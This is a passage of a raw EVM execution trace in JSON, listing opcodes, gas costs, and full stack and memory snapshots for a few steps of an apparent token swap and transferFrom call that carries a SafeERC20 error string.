9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13796,"op":"DUP7","gas":79886,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13797,"op":"PUSH2","gas":79883,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13800,"op":"JUMP","gas":79880,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x35f4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13812,"op":"JUMPDEST","gas":79872,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13813,"op":"PUSH1","gas":79871,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13815,"op":"DUP4","gas":79868,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13816,"op":"ISZERO","gas":79865,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13817,"op":"PUSH2","gas":79862,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13820,"op":"JUMPI","gas":79859,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x60","0x0","0x3603"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13821,"op":"POP","gas":79849,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13822,"op":"DUP2","gas":79847,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa